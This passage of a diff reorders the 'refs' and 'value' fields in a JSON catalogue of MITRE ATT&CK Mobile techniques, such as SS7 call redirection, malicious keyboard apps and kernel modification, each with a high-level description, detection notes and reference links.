- "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692"
+ "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692",
+ "value": "Capture Clipboard Data - MOB-T1017"
},
{
"description": "An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
- "value": "Access Contact List - MOB-T1035",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1035",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
- ],
"external_id": "APP-13",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection"
@@ -902,20 +896,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1035",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
]
},
- "uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce"
+ "uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce",
+ "value": "Access Contact List - MOB-T1035"
},
{
"description": "An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).\n\nDetection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.\n\nPlatforms: Android, iOS",
- "value": "Stolen Developer Credentials or Signing Keys - MOB-T1044",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1044",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html",
- "http://www.infoworld.com/article/2854963/mobile-development/how-to-keep-your-app-store-dev-account-from-being-hijacked.html"
- ],
"external_id": "ECO-17",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store"
@@ -923,18 +915,20 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1044",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html",
+ "http://www.infoworld.com/article/2854963/mobile-development/how-to-keep-your-app-store-dev-account-from-being-hijacked.html"
]
},
- "uuid": "a21a6a79-f9a1-4c87-aed9-ba2d79536881"
+ "uuid": "a21a6a79-f9a1-4c87-aed9-ba2d79536881",
+ "value": "Stolen Developer Credentials or Signing Keys - MOB-T1044"
},
{
"description": "An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.\n\nA malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.\n\nAlternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.\n\nAn adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.\n\nIf applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.\n\nDetection: On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.\n\nPlatforms: Android, iOS",
- "value": "Network Traffic Capture or Redirection - MOB-T1013",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1013",
- "https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/"
- ],
"external_id": "MOB-T1013",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection",
@@ -943,18 +937,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1013",
+ "https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/"
]
},
- "uuid": "3b0b604f-10db-41a0-b54c-493124d455b9"
+ "uuid": "3b0b604f-10db-41a0-b54c-493124d455b9",
+ "value": "Network Traffic Capture or Redirection - MOB-T1013"
},
{
"description": "An adversary could attempt to read files that contain sensitive data or credentials (e.g., private keys, passwords, access tokens). This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).\n\nPlatforms: Android, iOS",
- "value": "Access Sensitive Data or Credentials in Files - MOB-T1012",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1012",
- "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html"
- ],
"external_id": "AUT-0",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection",
@@ -963,20 +957,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1012",
+ "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html"
]
},
- "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160"
+ "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160",
+ "value": "Access Sensitive Data or Credentials in Files - MOB-T1012"
},
{
"description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.\n\nThomas Roth describes the potential for placing a rootkit within the TrustZone secure world (Citation: Roth-Rootkits).\n\nDetection: Devices may perform cryptographic integrity checks of code running within the TEE at boot time.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.\n\nPlatforms: Android",
- "value": "Modify Trusted Execution Environment - MOB-T1002",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1002",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
- "https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf",
- "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf"
- ],
"external_id": "APP-27",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:defense-evasion",
@@ -984,19 +976,20 @@
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1002",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
+ "https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf",
+ "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf"
]
},
- "uuid": "f1c3d071-0c24-483d-aca0-e8b8496ce468"
+ "uuid": "f1c3d071-0c24-483d-aca0-e8b8496ce468",
+ "value": "Modify Trusted Execution Environment - MOB-T1002"
},
{
"description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate as described in draft NIST SP 800-187 (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.\n\nPlatforms: Android, iOS",
- "value": "Downgrade to Insecure Protocols - MOB-T1069",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1069",
- "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html",
- "http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf"
- ],
"external_id": "CEL-3",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:cellular-network-based",
@@ -1005,17 +998,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1069",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html",
+ "http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf"
]
},
- "uuid": "f58cd69a-e548-478b-9248-8a9af881dc34"
+ "uuid": "f58cd69a-e548-478b-9248-8a9af881dc34",
+ "value": "Downgrade to Insecure Protocols - MOB-T1069"
},
{
"description": "An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.\n\nPlatforms: Android, iOS",
- "value": "Generate Fraudulent Advertising Revenue - MOB-T1075",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1075"
- ],
"external_id": "MOB-T1075",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:effects"
@@ -1023,35 +1018,35 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1075"
]
},
- "uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf"
+ "uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf",
+ "value": "Generate Fraudulent Advertising Revenue - MOB-T1075"
},
{
"description": "An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.\n\n (Citation: Zhou) and Jiang (Citation: Zhou) analyzed 1260 Android malware samples belonging to 49 families of malware, and determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.\n\nPlatforms: Android",
- "value": "App Auto-Start at Device Boot - MOB-T1005",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1005",
- "http://ieeexplore.ieee.org/document/6234407"
- ],
"external_id": "MOB-T1005",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:persistence"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1005",
+ "http://ieeexplore.ieee.org/document/6234407"
]
},
- "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69"
+ "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69",
+ "value": "App Auto-Start at Device Boot - MOB-T1005"
},
{
"description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol.\n\nPlatforms: Android, iOS",
- "value": "Commonly Used Port - MOB-T1039",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1039"
- ],
"external_id": "MOB-T1039",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:command-and-control",
@@ -1060,17 +1055,17 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1039"
]
},
- "uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad"
+ "uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad",
+ "value": "Commonly Used Port - MOB-T1039"
},
{
"description": "An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).\n\nPlatforms: Android, iOS",
- "value": "Manipulate App Store Rankings or Ratings - MOB-T1055",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1055"
- ],
"external_id": "MOB-T1055",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:effects"
@@ -1078,18 +1073,17 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1055"
]
},
- "uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69"
+ "uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69",
+ "value": "Manipulate App Store Rankings or Ratings - MOB-T1055"
},
{
"description": "An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
- "value": "Access Calendar Entries - MOB-T1038",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1038",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
- ],
"external_id": "APP-13",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection"
@@ -1097,20 +1091,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1038",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
]
},
- "uuid": "62adb627-f647-498e-b4cc-41499361bacb"
+ "uuid": "62adb627-f647-498e-b4cc-41499361bacb",
+ "value": "Access Calendar Entries - MOB-T1038"
},
{
"description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).\n\nDetection: Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS",
- "value": "Remotely Wipe Data Without Authorization - MOB-T1072",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1072",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html",
- "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html",
- "https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/"
- ],
"external_id": "EMM-7",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:cloud-based"
@@ -1118,22 +1110,20 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1072",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html",
+ "https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/"
]
},
- "uuid": "537ea573-8a1c-468c-956b-d16d2ed9d067"
+ "uuid": "537ea573-8a1c-468c-956b-d16d2ed9d067",
+ "value": "Remotely Wipe Data Without Authorization - MOB-T1072"
},
{
"description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security), (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC5-WG10-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS",
- "value": "Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1052",
- "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html",
- "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf",
- "http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf",
- "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf",
- "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf"
- ],
"external_id": "CEL-37",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:cellular-network-based"
@@ -1141,21 +1131,22 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1052",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html",
+ "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf",
+ "http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf",
+ "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf",
+ "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf"
]
},
- "uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d"
+ "uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d",
+ "value": "Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052"
},
{
"description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.\n\nDetection: The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nSamsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered \"if a non-Knox kernel has been loaded on the device\" (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nMany enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.\n\nPlatforms: Android, iOS",
- "value": "Modify OS Kernel or Boot Partition - MOB-T1001",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1001",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
- "https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered",
- "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf"
- ],
"external_id": "APP-27",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:defense-evasion",
@@ -1164,18 +1155,21 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1001",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
+ "https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered",
+ "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf"
]
},
- "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5"
+ "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5",
+ "value": "Modify OS Kernel or Boot Partition - MOB-T1001"
},
{
"description": "A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions, as demonstrated in a proof of concept created by Skycure (Citation: Skycure-Accessibility).\n\nPlatforms: Android",
- "value": "Abuse Accessibility Features - MOB-T1056",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1056",
- "https://www.skycure.com/blog/accessibility-clickjacking/"
- ],
"external_id": "MOB-T1056",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection",
@@ -1183,19 +1177,18 @@
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1056",
+ "https://www.skycure.com/blog/accessibility-clickjacking/"
]
},
- "uuid": "2204c371-6100-4ae0-82f3-25c07c29772a"
+ "uuid": "2204c371-6100-4ae0-82f3-25c07c29772a",
+ "value": "Abuse Accessibility Features - MOB-T1056"
},
{
"description": "Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.\n\nFor example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).\n\nPlatforms: Android, iOS",
- "value": "Insecure Third-Party Libraries - MOB-T1028",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1028",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html",
- "https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/"
- ],
"external_id": "APP-6",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:supply-chain"
@@ -1203,22 +1196,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1028",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html",
+ "https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/"
]
},
- "uuid": "11bd699b-f2c2-4e48-bf46-fb3f8acd9799"
+ "uuid": "11bd699b-f2c2-4e48-bf46-fb3f8acd9799",
+ "value": "Insecure Third-Party Libraries - MOB-T1028"
},
{
"description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review (Citation: Poeplau-ExecuteThis). \n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability (Citation: Bromium-AndroidRCE).\n\nOn iOS, techniques for executing dynamic code downloaded after application installation include JSPatch (Citation: FireEye-JSPatch). (Citation: Wang) et al. describe a related method of constructing malicious logic at app runtime on iOS (Citation: Wang).\n\nPlatforms: Android, iOS",
- "value": "Download New Code at Runtime - MOB-T1010",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1010",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html",
- "https://www.internetsociety.org/sites/default/files/10%205%200.pdf",
- "https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/",
- "https://www.fireeye.com/blog/threat-research/2016/01/hot%20or%20not%20the%20bene.html",
- "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei"
- ],
"external_id": "APP-20",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:defense-evasion"
@@ -1226,22 +1216,22 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1010",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html",
+ "https://www.internetsociety.org/sites/default/files/10%205%200.pdf",
+ "https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/",
+ "https://www.fireeye.com/blog/threat-research/2016/01/hot%20or%20not%20the%20bene.html",
+ "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei"
]
},
- "uuid": "6c49d50f-494d-4150-b774-a655022d20a6"
+ "uuid": "6c49d50f-494d-4150-b774-a655022d20a6",
+ "value": "Download New Code at Runtime - MOB-T1010"
},
{
"description": "An adversary could exploit signaling system vulnerabilities to track the location of mobile devices, for example as described in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security) and (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS",
- "value": "Exploit SS7 to Track Device Location - MOB-T1053",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1053",
- "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html",
- "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf",
- "http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf",
- "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf",
- "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf"
- ],
"external_id": "CEL-38",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:cellular-network-based"
@@ -1249,18 +1239,22 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1053",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html",
+ "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf",
+ "http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf",
+ "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf",
+ "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf"
]
},
- "uuid": "52651225-0b3a-482d-aa7e-10618fd063b5"
+ "uuid": "52651225-0b3a-482d-aa7e-10618fd063b5",
+ "value": "Exploit SS7 to Track Device Location - MOB-T1053"
},
{
"description": "A malicious app can register as a device keyboard and intercept keypresses containing sensitive values such as usernames and passwords. Zeltser (Citation: Zeltser-Keyboard) describes these risks.\n\nBoth iOS and Android require the user to explicitly authorize use of third party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n\nPlatforms: Android, iOS",
- "value": "Malicious Third Party Keyboard App - MOB-T1020",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1020",
- "https://zeltser.com/third-party-keyboards-security/"
- ],
"external_id": "MOB-T1020",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection",
@@ -1269,18 +1263,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1020",
+ "https://zeltser.com/third-party-keyboards-security/"
]
},
- "uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad"
+ "uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad",
+ "value": "Malicious Third Party Keyboard App - MOB-T1020"
},
{
"description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.\n\nPlatforms: Android, iOS",
- "value": "Exploit OS Vulnerability - MOB-T1007",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1007",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html"
- ],
"external_id": "APP-26",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:privilege-escalation"
@@ -1288,57 +1282,56 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1007",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html"
]
},
- "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172"
+ "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172",
+ "value": "Exploit OS Vulnerability - MOB-T1007"
},
{
"description": "An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.\n\nPlatforms: Android",
- "value": "Remotely Install Application - MOB-T1046",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1046",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html",
- "https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/",
- "http://www.vvdveen.com/publications/BAndroid.pdf"
- ],
"external_id": "ECO-4",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1046",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html",
+ "https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/",
+ "http://www.vvdveen.com/publications/BAndroid.pdf"
]
},
- "uuid": "831e3269-da49-48ac-94dc-948008e8fd16"
+ "uuid": "831e3269-da49-48ac-94dc-948008e8fd16",
+ "value": "Remotely Install Application - MOB-T1046"
},
{
"description": "ART (the Android Runtime) compiles optimized code on the device itself to improve performance. If an adversary can escalate privileges, he or she may be able to use those privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.\n\nSabanal describes the potential use of this technique in (Citation: Sabanal-ART).\n\nPlatforms: Android",
- "value": "Modify cached executable code - MOB-T1006",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1006",
- "https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf"
- ],
"external_id": "MOB-T1006",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:persistence"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
